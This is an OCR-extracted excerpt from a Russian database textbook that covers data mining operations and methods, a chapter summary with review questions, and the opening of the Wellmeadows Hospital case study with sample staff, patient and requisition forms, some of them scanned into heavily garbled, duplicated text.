Простое хранение информации в хранилище данных не дает тех преимуществ, которые организация хотела бы получить. Для реализации потенциала хранилища данных необходимо извлечь знания, скрытые внутри хранилища. Однако, с ростом объема и усложнением структуры помещенных в хранилище данных, бизнес- аналитикам становится чрезвычайно трудно, если вообще возможно, выявлять тенденции и связи, существующие между элементами данных, используя лишь простые инструменты создания запросов и отчетов. Технология разработки данных является одним из наилучших способов извлечения осмысленных тенденций и закономерностей из огромного количества данных. Эта технология помогает отыскать внутри хранилища данных такую информацию, которая не может быть обнаружена ни с помощью запросов, ни посредством создания отчетов.
Основные понятия технологии разработки данных
Существует несколько определений понятия “разработка данных” — начиная с наиболее широкого определения, относящего к данной категории любые инструменты, предоставляющие пользователям непосредственный доступ к очень большим объ-
емам данных, и заканчивая наиболее специализированными определениями, выделяющими только те инструменты и приложения, которые осуществляют статистический анализ данных. В этом разделе мы воспользуемся достаточно конкретным определением понятия разработки данных, предложенным Симоудисом (Simoudis, 1996).
Разработка Процесс извлечения из больших баз данных достоверной, предвари- данных тельно неизвестной, комплексной и значимой информации и использование ее для принятия ответственных бизнес-решений.
Разработка данных связана с анализом данных и использованием программных технологий поиска скрытых и неожиданных закономерностей и взаимосвязей в существующих наборах данных. Основная задача разработки данных заключается в обнаружении именно скрытой и неожиданной информации, поскольку не имеет смысла вести поиск закономерностей и связей, которые и так интуитивно понятны. Закономерности и связи идентифицируются путем обнаружения существующих фундаментальных правил и свойств данных.
Для проведения связанного с разработкой данных анализа обычно используются те данные и методы, которые способны дать наиболее точный и надежный результат, что обычно требует обработки большого объема данных. Процесс анализа начинается с разработки оптимального представления структуры выборки данных, по ходу которой приобретаются исходные знания. Полученные знания затем пополняются за счет использования расширенного набора данных, при условии, что более крупный набор данных имеет ту же структуру, что и полученная ранее выборка данных.
Значительную отдачу от разработки данных получат те компании, которые вложат существенные инвестиции в создание хранилища данных. Хотя разработка данных все еще остается сравнительно новой технологией, она уже используется во многих отраслях промышленности. В табл. 26.4 перечислены примеры приложений, в которых используется технология разработки данных и которые предназначены для применения в таких областях, как розничная торговля, маркетинг, банковская сфера, страхование и медицина.
Таблица 26.4. Примеры приложений технологии разработки данных
Розничная торговля и маркетинг
Обнаружение закономерностей в покупках, сделанных клиентами
Поиск ассоциативных связей среди демографических характеристик клиентов
Прогнозирование реакции на кампанию рассылки почтовых материалов
Анализ потребительской корзины
Банковская сфера
Обнаружение закономерностей в мошенническом использовании кредитных карточек
Поиск постоянных клиентов
Прогнозирование клиентов, которые, по-видимому, изменят свою принадлежность к кредитной карточной системе
Определение средних трат по кредитным карточкам для разных групп клиентов
Страхование
Определение тех клиентов, которые купят новые страховые полисы
Медицина
Определение характеристик поведения пациентов с целью планирования их приемов
Поиск успешных терапевтических процедур при различных заболеваниях
Методы разработки данных
Методы разработки данных обычно предусматривают использование четырех основных операций: прогнозирующее моделирование, сегментирование баз данных» анализ связей и обнаружение отклонений. Хотя любую из этих четырех операций можно применить к любому из перечисленных в табл. 26.4 бизнес-приложений, все же существуют некоторые общепризнанные ассоциации приложений и соответствующих операций. Например, прямые маркетинговые стратегии обычно реализуются с помощью сегментации базы данных, тогда как для обнаружения мошенничества с кредитными карточками можно использовать любой из перечисленных методов. Более того, многие приложения достаточно хорошо работают при использовании сразу нескольких операций. Например, для определения профиля клиентов обычно сначала используется сегментирование базы данных, а потом к полученным сегментам данных применяется прогнозирующее моделирование.
Конкретные методы основаны на специальной реализации операций разработки данных. Однако каждая операция обладает своими достоинствами и недостатками. С учетом этого, в инструментах разработки данных для реализации некоторого метода часто предлагается целый набор операций на выбор. Возможный выбор должен основываться на приемлемости некоторых типов входных данных, прозрачности результатов разработки, терпимости по отношению к отсутствующим значениям, достижимом уровне точности и, в особенности, способности обрабатывать большие объемы данных.
В табл. 26.5 перечислены основные методы, связанные с каждой из четырех операций разработки данных (Cabena et al., 1997).
Таблица 26.5. Операции разработки данных и связанные с ними методы
Операции
Методы
Прогнозирующее моделирование
Классификация
Прогнозирование значения
Сегментирование баз данных
Демографическая кластеризация Нейронная кластеризация
Анализ связей
Обнаружение ассоциативных связей Поиск последовательных закономерностей Поиск сходных временных последовательностей
Обнаружение отклонений
Статистика
Визуализация
Более подробное обсуждение методов и приложений разработки данных заинтересованный читатель сможет найти в специальной литературе (Cabena et al., 1997).
Прогнозирующее моделирование
Прогнозирующее моделирование аналогично процессу обучения человека, когда наблюдения используются как основа для построения модели важных характеристик некоторого явления. При этом подходе применяются методы обобщения процессов реального мира и возможности подгонки новых данных в некие общие рамки. Прогнозирующее моделирование может использоваться для анализа существующей базы данных с целью определения некоторых существенных характеристик (свойств модели) набора данных. Эта модель создается с использованием контролируемого обучения (supervised learning), которое состоит из двух фаз: обучения и тестирования. В процессе обучения создается модель на основе большой выборки исторических данных, называемой обучающей последовательностью. Тестирование выполняется с целью проверки истинности построенной модели на основе новых и ранее не известных данных, для определения точности полученной модели и других характеристик ее
физического представления. В числе приложений, использующих предсказывающее моделирование, можно указать средства поиска методов удержания клиентов, одобрения кредита, перекрестной торговли и прямого маркетинга. С предсказывающим моделированием связаны два основных метода — классификация и прогнозирование значения, которые отличаются природой предсказываемого значения.
Классификация
Классификация используется для установления специального предопределенного класса для каждой записи в базе данных на основе ограниченного набора возможных значений класса. Существуют две специализации метода классификации: древовидная индукция и нейронная индукция. Пример классификации на основе древовидной индукции представлен на рис. 26.5.
Рис. 26.5. Пример классификации на основе древовидной индукции
В этом примере обходимо предсказать, насколько клиент, который в настоящее время арендует недвижимость, заинтересован в ее покупке. Эта предсказывающая модель определяется только двумя переменными: продолжительностью аренды и возрастом клиента. Данное дерево решений — анализ, основанный на интуиции. То есть, модель предсказывает, что клиенты, которые арендуют недвижимость более двух лет и которые старше 25 лет, вероятно, заинтересованы в покупке этой недвижимости.
Пример классификации на основе нейронной индукции показан на рис. 26.6.
Рис. 26.6. Пример классификации на основе нейронной индукции
В предложенном примере классификация данных выполняется с помощью нейронной сети. Нейронная сеть состоит из набора связанных узлов со входом, выходом и обработкой в каждом узле. Между видимыми входными и выходными узлами может находиться некоторое количество скрытых уровней обработки. Каждая единица
обработки (кружок) в одном слое связана с единицей обработки в следующем слое с некоторым весовым значением, выражающим силу этой связи. Данная сеть пытается моделировать способ мышления мозга человека, используемый им при распознавании закономерностей, путем арифметического комбинирования всех переменных, связанных с некоторыми данными. Таким образом, можно создать нелинейные предсказывающие модели, которые “обучаются”, просматривая комбинации переменных и определяя их влияние на различные наборы данных.
Прогнозирование значения
Прогнозирование значения используется для оценки непрерывных числовых значений, которые связаны с записью в базе данных. В этом подходе используются традиционные статистические методы линейной и нелинейной регрессии. Поскольку эти методы достаточно хорошо известны, они относительно понятны и просты в использовании. В методе линейной регрессии для набора данных подгонка выполняется путем подбора прямой линии, которая наилучшим образом представляет средние значения всех имеющихся наблюдений. Основная проблема линейной регрессии заключается в том, что этот метод хорошо подходит только для линейно изменяющихся данных и очень чувствителен к появлению выбросов (т.е. значений, резко отличающихся от ожидаемой средней линейной зависимости). Хотя метод нелинейной регрессии позволяет избежать многих проблем линейной регрессии, тем не менее он недостаточно гибок для подгонки произвольных наборов данных. Именно в этом месте методы традиционного статистического анализа и методы разработки данных расходятся. Статистические модели хороши при создании линейных моделей, которые описывают предсказуемые значения данных, однако большинство данных имеет нелинейную природу. Для разработки данных нужно использовать статистические методы, которые могут обрабатывать нелинейные данные, выбросы и данные нечислового типа. Метод прогнозирования значения обычно используется для обнаружения мошенничества с кредитными карточками или рассылки адресной рекламы по почте.
Сегментирование базы данных
Целью сегментирования базы данных является ее разбиение на некоторое, заранее неизвестное количество сегментов, или кластеров, состоящих из подобных записей, т.е. записей, обладающих некоторыми общими свойствами, что позволяет считать их однородными. (Сегменты обладают высокой внутренней однородностью и высокой внешней неоднородностью.) В этом подходе для обнаружения в базе данных популяций однородных записей используется неконтролируемое обучение, что позволяет повысить точность определения профилей. Сегментирование базы данных является менее точным методом, чем все остальные, а потому он менее чувствителен к избыточным или не относящимся к делу данным. Чувствительность можно понизить либо игнорируя то подмножество атрибутов, которые описывают каждый экземпляр, либо присваивая каждой переменной определенный весовой коэффициент. Метод сегментирования базы данных используется для определения профиля клиентов, прямого маркетинга и перекрестной продажи. Пример использования метода сегментирования базы данных на основе графика с точечными данными показан на рис. 26.7.
В этом примере база данных состоит из 200 наблюдений для 100 истинных и 100 поддельных банкнот. Эти данные являются шестимерными, в них каждая размерность соответствует некоторому геометрическому параметру банкноты. Используя метод сегментации базы данных, можно легко обнаружить кластеры, которые соответствуют истинным и поддельным банкнотам. Обратите внимание, что имеются два кластера поддельных банкнот, что объясняется тем, что их изготовляют две разные группы фальшивомонетчиков (Girolami et al., 1997).
Метод сегментирования базы данных также связан с методами демографической и нейронной кластеризации, которые отличаются допустимыми вводными данными, методами расчета расстояния между записями и представлением результирующих сегментов.
X Законное платежное □ Подделкасредство
Рис. 26.7. Пример использования метода сегментирования базы данных на основе графика
Анализ связей
Целью анализа связей является установление связей, или ассоциаций, между отдельными записями или наборами записей в базе данных. Метод анализа связей имеет три различные специализации: поиск ассоциаций, поиск последовательных закономерностей и поиск аналогичных временных последовательностей.
При поиске ассоциаций требуется найти некоторые объекты, которые предполагают наличие других объектов в том же событии. Подобное сходство между объектами представляется с помощью ассоциативных правил. Например: “Если клиент арендует объект недвижимости более двух лет и он старше 25 лет, то в 40% случаев клиент приобретет эту недвижимость. Данная ассоциативная связь наблюдалась в 35% случаев из всех случаев аренды объектов недвижимости клиентами”.
При поиске последовательных закономерностей требуется найти закономерности между событиями, т.е. наличие одного набора объектов сопровождается появлением в базе данных другого набора объектов спустя некоторое время. Подобный подход, в частности, может использоваться для достижения понимания долговременного поведения клиентов при совершении покупок.
Поиск сходных временных зависимостей может использоваться, например, для поиска связей между двумя наборами зависящих от времени данных. Он основан на степени подобия между временными закономерностями, которые демонстрируют оба временных ряда. Например, в течение трех месяцев после покупки недвижимости новые владельцы будут приобретать такие товары, как кухонные плиты, холодильники и стиральные машины.
Методы анализа связей применяются для анализа сходства продукции, прямого маркетинга и изменения курса акций.
Обнаружение отклонений
Метод обнаружения отклонений — это относительно новая операция в коммерчески доступных инструментах разработки данных. Тем не менее именно этот метод часто является источником настоящих открытий, поскольку он предполагает анализ выбросов, которые выражают степень отклонения от некоторых предварительно известных значений математического ожидания и нормального среднего. Эта операция часто выполняется с помощью методов статистики и визуализации или же является побочным продуктом других процедур разработки данных. Например, линейная регрессия упрощает идентификацию выбросов среди данных, тогда как современные методы визуализации позволяют так графически отображать полученные после анализа значения, что на этих графиках можно легко обнаружить заметные отклонения данных. На рис. 26.8 показано применение подобных методов визуализации в отношении данных, представленных на рис. 26.7. Метод обнаружения отклонений используется для обнаружения мошенничества с кредитными карточками и страховыми полисами, а также для контроля качества и поиска дефектов.
Рис. 26.8. Пример визуализации данных, показанных на рис. 26.7
Инструменты разработки данных
Количество представленных на рынке коммерческих инструментов разработки данных постоянно возрастает. Наиболее важные их характеристики:
наличие инструментов подготовки данных;
возможность выбора операций разработки данных (алгоритмов);
масштабируемость продукта и показатели его производительности;
наличие инструментов визуализации данных.
В качестве примеров инструментов разработки данных можно назвать пакеты Clementine фирмы Integral Solutions Ltd, DataCrusher фирмы DataMind Corp, Intelligent Miner фирмы IBM, MineSet фирмы Silicon Graphics, Data Mining Suite фирмы Information Discovery Inc., SAS System фирмы SAS Institute Inc. и Thought фирмы Right Information Systems.
Разработка данных и хранилища данных
Одно из основных затруднений в процессе разработки данных связано с поиском данных, подходящих для разработки. Для разработки данных следует использовать единый, отдельный, чистый, интегрированный и самосогласованный источник дан-
ных. Хранилище данных вполне подходит на роль такого источника данных по перечисленным ниже причинам.
Качество и непротиворечивость данных является основным условием достижения точности создаваемых моделей прогнозирования, а хранилища данных как раз заполнены чистыми и непротиворечивыми данными.
Для обнаружения максимально возможного количества взаимосвязей между данными важно получать их из нескольких источников. Хранилища данных содержат данные, поступающие из нескольких источников.
Хранилище данных обладает инструментами выполнения запросов, которые можно использовать для выборки подмножеств записей и полей, подходящих для выполнения разработки данных.
Результаты разработки данных особенно полезны, если существует способ для дальнейшего исследования нераскрытых закономерностей. Хранилища данных позволяют вернуться к исходным источникам данных.
Благодаря тому что технологии разработки данных и хранилищ данных взаимно дополняют друг друга, многие фирмы-разработчики исследуют способы интеграции этих технологий. Например, фирма Red Brick Systems предлагает свой продукт Red Brick Warehouse 5.0, который может быть дополнен необязательным инструментом Red Brick Data Mine.
Резюме
Оперативная аналитическая обработка данных (OLAP-технология) включает динамический синтез, анализ и консолидацию многомерных данных большого объема.
Большинство OLAP-приложений реализовано с помощью специализированных технологий многомерных СУБД (ММ СУБД), узкого набора данных и специально настроенного пользовательского интерфейса. OLAP-архитектура обладает ясно определенными уровнями с четким разделением функций между приложением и СУБД.
OLAP-серверы баз данных используют многомерные структуры для сохранения данных и связей между ними. Многомерные структуры можно лучше всего представить в виде кубов данных, составленных из других кубов данных. Каждая сторона куба рассматривается как отдельная размерность.
Многомерные OLAP-серверы баз данных могут выполнять распространенные аналитические операции, включая консолидацию, нисходящий анализ и разбиение с поворотом.
Предварительная агрегация, иерархическая структура размерностей и управление разреженными данными может существенно сократить размер базы данных и потребность в выполнении вычислений. Эти подходы устраняют необходимость выполнения соединения большого количества таблиц и обеспечивают быстрый и прямой доступ к массивам данных, что позволяет существенно повысить скорость выполнения многомерных запросов.
Э.Ф. Кодд сформулировал двенадцать правил для OLAP-систем, которые были получены в результате исследования, проведенного в интересах фирмы Arbor Software (создателя программного продукта Essbase). Их появление вызвало необходимость переопределения требований, предъявляемых к OLAP-инструментам.
OLAP-инструменты классифицируются в соответствии с типом базы данных, которая используется для аналитической обработки: многомерные OLAP- инструменты (MOLAP, или 1MD-OLAP), реляционные OLAP-инструменты (ROLAP), иначе называемые мультиреляционными OLAP-инструментами, а также инструменты управляемой среды запросов (MQE).
UI В некоторых системах язык SQL расширен многочисленными специальными операциями, предназначенными для анализа данных в приложениях поддержки принятия решений, такими как ранжирование, вычисление скользящих средних, сравнения, определение доли рынка, сравнение показателей этого года с показателями прошлого года.
И Разработка данных — это процесс извлечения истинной и ранее не известной, комплексной и необходимой информации из больших баз данных, а также использование этой информации для принятия ответственных бизнес-решений.
Существует четыре основные операции, связанные с методами разработки данных: прогнозирующее моделирование, сегментирование базы данных, анализ связей и обнаружение отклонений.
Методы являются специфическими реализациями операций (алгоритмов), которые используются для выполнения операций разработки данных. Каждая операция обладает своими преимуществами и недостатками.
Отдельная фирма-разработчик иногда предлагает на выбор несколько алгоритмов для реализации того или иного метода. Выбор должен строиться на основании пригодности некоторых типов вводимых данных, прозрачности результатов разработки данных, допустимости наличия отсутствующих значений, достигаемого уровня точности и, в особенности, способности обрабатывать большие объемы данных.
С каждой из четырех основных операций разработки данных связаны определенные методы (они указаны в скобках): прогнозирующее моделирование (классификация и прогнозирование значения), сегментирование базы данных (демографическая кластеризация и нейронная кластеризация), анализ связей (поиск ассоциаций, поиск последовательных закономерностей и поиск сходных временных зависимостей) и обнаружение отклонений (статистика и визуализация).
Вопросы
Назовите основные характеристики многомерных OLAP-инструментов (MOLAP), а также поясните, каким образом куб данных позволяет выполнять многомерные запросы.
Опишите архитектуру, характеристики и проблемы, связанные с каждой из следующих категорий OLAP-инструментов:
MOLAP;
ROLAP;
MQE.
Опишите некоторые возможные расширения языка SQL, предназначенные для выполнения расширенного анализа данных в приложениях поддержки принятия решений.
Поясните, как методы разработки данных могут способствовать возрастанию значимости хранилищ данных.
Опишите характеристики и используемые методы, назовите типичные приложения для каждой из следующих основных операций разработки данных:
прогнозирующее моделирование;
сегментирование базы данных;
анализ связей;
обнаружение отклонений.
Упражнения
Допустим, что старший менеджер компании DreamHome попросил вас изучить вопрос и составить отчет о возможности использования технологии разработки данных в этой организации. В отчете должно быть представлено описание этой технологии и выполнено сравнение этой технологии с существующими традиционными инструментами создания запросов и отчетов в реляционных СУБД. Кроме того, в отчете должны быть рассмотрены преимущества и недостатки, а также указаны любые потенциальные проблемы, связанные с использованием технологии разработки данных. Отчет должен содержать полностью обоснованный набор выводов о применимости технологии разработки данных в компании DreamHome.
Приложения
Приложение А. Учебный проект Wellmeadows Hospital1002
Приложение Б. Структура данных в файлах с различной организацией 1010
Приложение В. Сетевая модель данных1026
Приложение Г. Иерархическая модель данных1042
Приложение Д. Сравнение сетевых, иерархических и реляционных СУБД 1054
Приложение Е. Краткий обзор методологии проектирования реляционных баз данных1060
Приложение Ж. Примеры Web-сценариев1066
s^i
■i
ЙЖ
1®
IlBSl
ЙН
ПРИЛОЖЕНИЕ
Учебный проект
''Ж
^6iSk
■t?Mk;
ж
tdeit
Wellmeadows Hospital^
i$^e
H
lie!
W^r^
4
B8
•^w'^j^
В этом учебном проекте рассматривается небольшая больница Wellmeadows Hospital, которая находится в городе Эдинбург и специализируется на обслуживании пожилых людей. Ниже приводится описание данных, которые собираются, сопровождаются и используются сотрудниками больницы Wellmeadows Hospital при выполнении их повседневных обязанностей.
АЛ. Требования к данным
Палаты
В больнице Wellmeadows Hospital имеется 17 палат на 240 коек, предназначенных для краткосрочного и долгосрочного пребывания пациентов, а также собственная клиника. Каждая палата характеризуется номером (например, палата 11), названием (например, ортопедическая палата), расположением (например, блок Е), общим количеством коек и дополнительным номером телефона (например, дополнительный номер 7711).
Сотрудники
Всю ответственность за работу больницы Wellmeadows Hospital несет ее главный врач ('Medical Director'). Он контролирует действия сотрудников больницы и использование всех имеющихся ресурсов (койки, расходные материалы) для обеспечения эффективного обслуживания всех пациентов.
Кроме того, в больнице Wellmeadows Hospital имеется начальник отдела кадров ('Personnel Officer'), который отвечает за наличие необходимого количества сотрудников требуемой квалификации в каждом из отделений (палат) и клинике.
О каждом сотруднике больницы хранится следующая информация: номер сотрудника, имя и фамилия, полный адрес, номер телефона, дата рождения, пол, номер службы социального страхования (NIN), занимаемая должность, текущая зарплата и существующая шкала расценок. Кроме того, хранится информация о квалификации каждого сотрудника (тип и дата присвоения квалификации, а также название присвоившего ее учреждения) и его послужном списке (название организации, должность, дата поступления на работу и увольнения с нее).
Кроме того, для каждого сотрудника записываются сведения из договора о найме на работу, включая количество рабочих часов в неделю, тип заключенного договора (временный или постоянный), а также периодичность выплаты зарплаты (еженедельно или ежемесячно).
На рис. АЛ показан пример заполненной формы, содержащей сведения о сотруднице Мойре Самуэль (Moira Samuel), работающей в палате №11.
В каждой палате и клинике есть заведующий ('Charge Nurse'), отвечающий за повседневную деятельность палаты или клиники. Он контролирует расходование выделенных для его палаты/клиники бюджетных средств и следит за загруженностью персонала, а также использованием всех имеющихся ресурсов (коек и расходных материалов). Для обеспечения эффективного управления главврач работает в тесном контакте с заведующими всех подразделений больницы.
Заведующий отвечает за составление еженедельного расписания дежурств, а также следит за тем, чтобы ежедневно и еженощно в палате/клинике находилось нужное количество сотрудников необходимой квалификации. В течение недели каждый сотрудник работает в одной из трех смен: утренней, вечерней или ночной.
Помимо заведующего, в каждой палате и клинике есть также старшие и младшие медсестры, врачи и вспомогательный персонал. В клинике и некоторых палатах работают также специалисты из разных областей медицины (например, палатные врачи, физиотерапевты и т.д.).
,। Staff Number: SOH |,। Staff Number: SOH |, , First Name Moira ■ Address 49 School Road ‘. Broxburn, , First Name Moira ■ Address 49 School Road ‘. BroxburnLast Name SamuelLast Name Samuel, - ' Sex Female, - ' Sex FemaleTel No.; 01506-45633Position Charge Nurse /Current Salary 18,760 .'//Salary Scale 1C scalePaidWeeklyor . :Monthly -(Enter W or M) мTel No.; 01506-45633Position Charge Nurse /Current Salary 18,760 .'//Salary Scale 1C scalePaidWeeklyor . :Monthly -(Enter W or M) мDate of Birth 30-May-61 NIN WB123423D ’ .Allocated 11 toward . •Hours/Week 37.5,Permanent or ;€ -Temporary(Enter P or T) PDate of Birth 30-May-61 NIN WB123423D ’ .Allocated 11 toward . •Hours/Week 37.5,Permanent or ;€ -Temporary(Enter P or T) Pg Type BSc Nursing Studies - \Date 12-Jul-87Institution Edinburgh Universityg Type BSc Nursing Studies - \Date 12-Jul-87Institution Edinburgh UniversityPosition Staff Nurse
,। Staff Number: SOH |
,। Staff Number: SOH |
, , First Name Moira ■ Address 49 School Road ‘. Broxburn
, , First Name Moira ■ Address 49 School Road ‘. Broxburn
Last Name Samuel
Last Name Samuel
, - ' Sex Female
, - ' Sex Female
Tel No.; 01506-45633
Position Charge Nurse /Current Salary 18,760 .'//Salary Scale 1C scale
PaidWeeklyor . :
Monthly -
(Enter W or M) м
Tel No.; 01506-45633
Position Charge Nurse /Current Salary 18,760 .'//Salary Scale 1C scale
PaidWeeklyor . :
Monthly -
(Enter W or M) м
Date of Birth 30-May-61 NIN WB123423D ’ .
Allocated 11 toward . •
Hours/Week 37.5,
Permanent or ;€ -
Temporary
(Enter P or T) P
Date of Birth 30-May-61 NIN WB123423D ’ .
Allocated 11 toward . •
Hours/Week 37.5,
Permanent or ;€ -
Temporary
(Enter P or T) P
g Type BSc Nursing Studies - \Date 12-Jul-87
Institution Edinburgh University
g Type BSc Nursing Studies - \Date 12-Jul-87
Institution Edinburgh University
Start Date 23-Jan-90
Finish Date 1-May-93
Organization Western Hospital
Note: Please enter additional qualications/work experience overleaf
Puc.A.l. Форма с данными о сотруднике больницы Wellmeadows Hospital
На рис. А.2 показан пример отчета с данными о сотрудниках, которые работают в палате №11.
Пациенты
Когда пациент впервые обращается в больницу, ему присваивается уникальный номер пациента. Одновременно о нем записываются некоторые дополнительные сведения: имя и фамилия, адрес, номер телефона, дата рождения, пол, семейное положение, дата регистрации в данной больнице, а также сведения о его ближайшем родственнике.
Ближайший родственник пациента
В больнице хранятся сведения об одном из ближайших родственников каждого пациента: имя и фамилия, родственные отношения с пациентом, адрес и номер телефона.
Участковые врачи
Пациенты обычно обращаются в больницу по направлению участкового врача. О каждом таком участковом враче в больнице хранятся следующие сведения: имя и фамилия, номер клиники, адрес и номер телефона. Номер клиники является уникальным в пределах всей территории Великобритании. На рис. А.З показан пример регистрационной формы пациента, заполненной сведениями о пациентке с именем 'Anne Phelps'.
D„„ .Wellmeadows Hospital •> ' ^^еёИ'а 'ьп 'оя'^1^
. Page’: Ward Staff Allocation < . beginning ^”^i
Ward Number Ward 11Charge Nurse Moira Samuel ^Й
Ward Name Orthopaedic,Staff Number S011;5^
. , ' , ! Location BiockE’ _ Tel Exin' 7711
Staff No.
Name
Address
Tel No.
Position
Shift
S098
S123
5167
S234
5344
Carol Cummings
Morgan Russell
Robin Plevin
Amy O'Donnell
Laurence Burns
15 High Street Edinburgh
23A George Street Broxburn
7 Glen Terrace
Edinburgh
234 Princes Street
Edinburgh
1 Apple Drive Edinburgh
0131-334-5677
01506-67676
0131-339-6123
0131-334-9099
0131-334-9100
Staff Nurse
Nurse
Staff Nurse
Nurse
Consultant
Late
Late
Early
Night
Early
Рис. А.2. Отчет с данными о сотрудниках, работающих в палате МП больницы Wellmeadows Hospital
Patient Number: P10234Patient Number: P10234first Namefirst NameАллеАллеLast Name - PhelpsLast Name - PhelpsWellmeadows Hospital „Patient Registration FormWellmeadows Hospital „Patient Registration FormAddressAddress44 North Bridges Cannonmills Edinburgh, EH15GH44 North Bridges Cannonmills Edinburgh, EH15GHSexSexFemaleFemaleDOBDOB12-Dec-33 '12-Dec-33 'Tel No.Tel No.0131-332-41110131-332-4111Marital StatusMarital StatusSingleSingleDate Registered 21-Feb-95Date Registered 21-Feb-95Full Name James PhelpsFull Name James PhelpsRelationship FatherRelationship Father
Patient Number: P10234
Patient Number: P10234
first Name
first Name
Алле
Алле
Last Name - Phelps
Last Name - Phelps
Wellmeadows Hospital „
Patient Registration Form
Wellmeadows Hospital „
Patient Registration Form
Address
Address
44 North Bridges Cannonmills Edinburgh, EH15GH
44 North Bridges Cannonmills Edinburgh, EH15GH
Sex
Sex
Female
Female
DOB
DOB
12-Dec-33 '
12-Dec-33 '
Tel No.
Tel No.
0131-332-4111
0131-332-4111
Marital Status
Marital Status
Single
Single
Date Registered 21-Feb-95
Date Registered 21-Feb-95
Full Name James Phelps
Full Name James Phelps
Relationship Father
Relationship Father
Address 145 Rowlands Street' / Paisley, PA25FEAddress 145 Rowlands Street' / Paisley, PA25FE■ ; TeiNo. 0141-848-2211■ ; TeiNo. 0141-848-2211
Address 145 Rowlands Street' / Paisley, PA25FE
Address 145 Rowlands Street' / Paisley, PA25FE
■ ; TeiNo. 0141-848-2211
■ ; TeiNo. 0141-848-2211
11Dr Helen PearsonDr Helen PearsonFull NameFull NameClinic No. E102Clinic No. E102
1
1
Dr Helen Pearson
Dr Helen Pearson
Full Name
Full Name
Clinic No. E102
Clinic No. E102
Address 22 Cannongate Way, Edinburgh, EH16TY
.TeiNo. 0131-332-0012
Рис.АЗ. Регистрационная форма, используемая для записи данных о пациентах больницы Wellmeadows Hospital
Назначения на прием■
После направления участковым врачом в больницу Wellmeadows Hospital пациент получает назначение на прием к одному из консультантов этой больницы.
Каждое назначение на прием имеет уникальный номер. Кроме того, по каждому назначению сохраняется следующая информация: имя консультанта и его личный номер сотрудника, дата и время приема, номер кабинета (например, комната 'Е252').
После осмотра пациента консультант может порекомендовать ему посетить больничную клинику или записаться в очередь на получение места в соответствующей палате.
Амбулаторные пациенты
Об амбулаторных пациентах хранится такая информация: номер пациента, имя и фамилия, адрес, номер телефона, дата рождения, пол, дата и время приема в клинике.
Стационарные пациенты
Заведующий палатой и прочий старший медицинский персонал отвечают за распределение коек среди пациентов, записанных в очередь. В базе данных сохранятся следующие сведения о помещенных в палату или записанных в очередь пациентах: номер пациента, имя и фамилия, адрес, номер телефона, дата рождения, пол, семейное положение, сведения о ближайшем родственнике этого пациента, дата регистрации в очереди, назначенная палата, предполагаемый срок лечения (в днях), дата размещения в палате, предполагаемая дата выписки, а также фактическая дата выписки, если она известна.
При поступлении пациента в палату для него также указывается номер его койки. На рис. А.4 показан пример отчета с данными о пациентах, которые находятся в палате №11.
о™ -1 ' - 'Wellmeadows Hospital/s ^
1 ■PatientAllocationinning 16М8
. ■ , Ward Number Ward 11'Charge Nurse Moira Samuel -:
.WardName Orthopaedic - >\ StaffNumber S011?
г *Location Block E? . '' Tel Extn 7711j ;
Patient Number
Name
On Waiting List
Expected Stay (Days)
Date Placed
Date Leave
Actua Leavel
Bed Number
P10451
P10480
P10563
P10604
P10787
Robert Drumtree
Steven Parks
David Black
Ian Thomson
Peter Smith
12-Jan-98
12-Jan-98
13-Jan-98
14-Jan-98
17-Jan-98
5
4
14
10
5
12-Jan-98
14-Jan-98
13-Jan-98
15-Jan-98
17-Jan-98
17-Jan-98
18-Jan-98
27-Jan-98
25-Jan*98
22-Jan-98
84
79
80
87
84
Рис. А.4. Отчет с данными о пациентах, которые находятся в палате №11 больницы Wellmeadows Hospital
Медикаменты, назначенные пациенту
В больнице ведется учет медикаментов, назначенных пациенту для лечения. При этом фиксируется: номер и имя пациента, номер и название лекарства, количество приемов лекарства в день, способ приема (например, внутреннее, внутривенное (IV) и т.д.), а так-
же начало и конец курса лечения данным препаратом. В процессе лечения контролируется количество лекарств, выдаваемых данному пациенту. На рис. А.5 показан пример отчета об использовании медикаментов при лечении пациента с именем 'Robert MacDonald'.
#ЗЖа^^
• ;,?Ч1 Patient Number: Р10034
у Full Name Robert MacDonaldЩагЬЬШЖ Ward 11Я||||$
< BedNumbet 84;- : v ;^v^^Orthopaedic й^,^
Drug Number
Name
Description
Dosage
Method of Admin
Units per Day
Start Date
Finish Date
10223
10334
10223
Morphine
Tetracycline
Morphine
Pain killer
Antibiotic
Pain killer
10mg/ml
0.5mg/ml
10mg/ml
Oral
IV
Oral
50
10
10
24-Mar-98
24-Mar-98
25-Apr-98
24-Apr-98
17-Apr-98
2-May-98
Рис. А.5. Отчет с данными об использовании медикаментов при лечении пациента в больнице Wellmeadows Hospital
Хирургические и нехирургические расходные материалы
В больнице Wellmeadows Hospital имеется централизованный склад хирургических (например, таких как шприцы, стерильная одежда) и нехирургических (например, таких как пластиковые пакеты, фартуки) расходных материалов. Для их учета в больнице хранятся следующие сведения: название и идентификационный номер предмета, его описание, количество на складе, уровень запаса, при котором подается заказ об его восполнении, а также стоимость. Идентификационный номер предмета является уникальным для всех хирургических и нехирургических расходных материалов. Учет их расходования ведется для каждой палаты отдельно.
Фармацевтические расходные материалы
В больнице Wellmeadows Hospital также есть склад фармацевтических расходных материалов (например, таких как антибиотики, болеутоляющие средства и т.д.). О них сохраняется такая информация: идентификационный номер и название лекарства, описание, дозировка, способ приема, количество на складе, уровень запаса, при котором подается заказ о его восполнении, а также стоимость. Идентификационный номер лекарства является уникальным для всех фармацевтических расходных материалов. Учет расходования медикаментов также ведется для каждой палаты отдельно.
Заявка на материалы
По мере необходимости заведующий палатой может получать хирургические, нехирургические и фармацевтические расходные материалы с центрального склада больницы. Для каждой палаты они поставляются на основании заявки, содержащей следующие сведения: уникальный номер заявки, имя сотрудника — составителя заявки, номер и название палаты, идентификационный номер предмета или лекарства, его название, описание, дозировка и метод приема (только для лекарств), стоимость единицы, заказываемое количество, а также дата заказа. После доставки заказанных расходных материалов в палату форма должна быть подписана с указанием даты тем заведующим, который подготовил данную заявку. На рис. А.6 показан пример заявки на получение морфия для палаты №11.
'Ш11®Й^^Wellmeadows HospitalВ-'
Requisition Form-
Requisition Number; 034567712 |<\-
.^Ward Number Ward 11Requisitioned By Moira Samuel B
Ward Name OrthopaedicRequisition Date 15-Feb-9B
Item/Drug Number
Name
Description
Dosage (Drugs Only)
Method of Admin
Cost per Unit
Quantity
10223
Morphine
Pain killer
10mg/ml
Oral
27.75
50
Received By: Date Received:
Рис. А.6. Заявка на получение медикаментов для палаты №11 больницы Wellmeadows Hospital
Поставщики
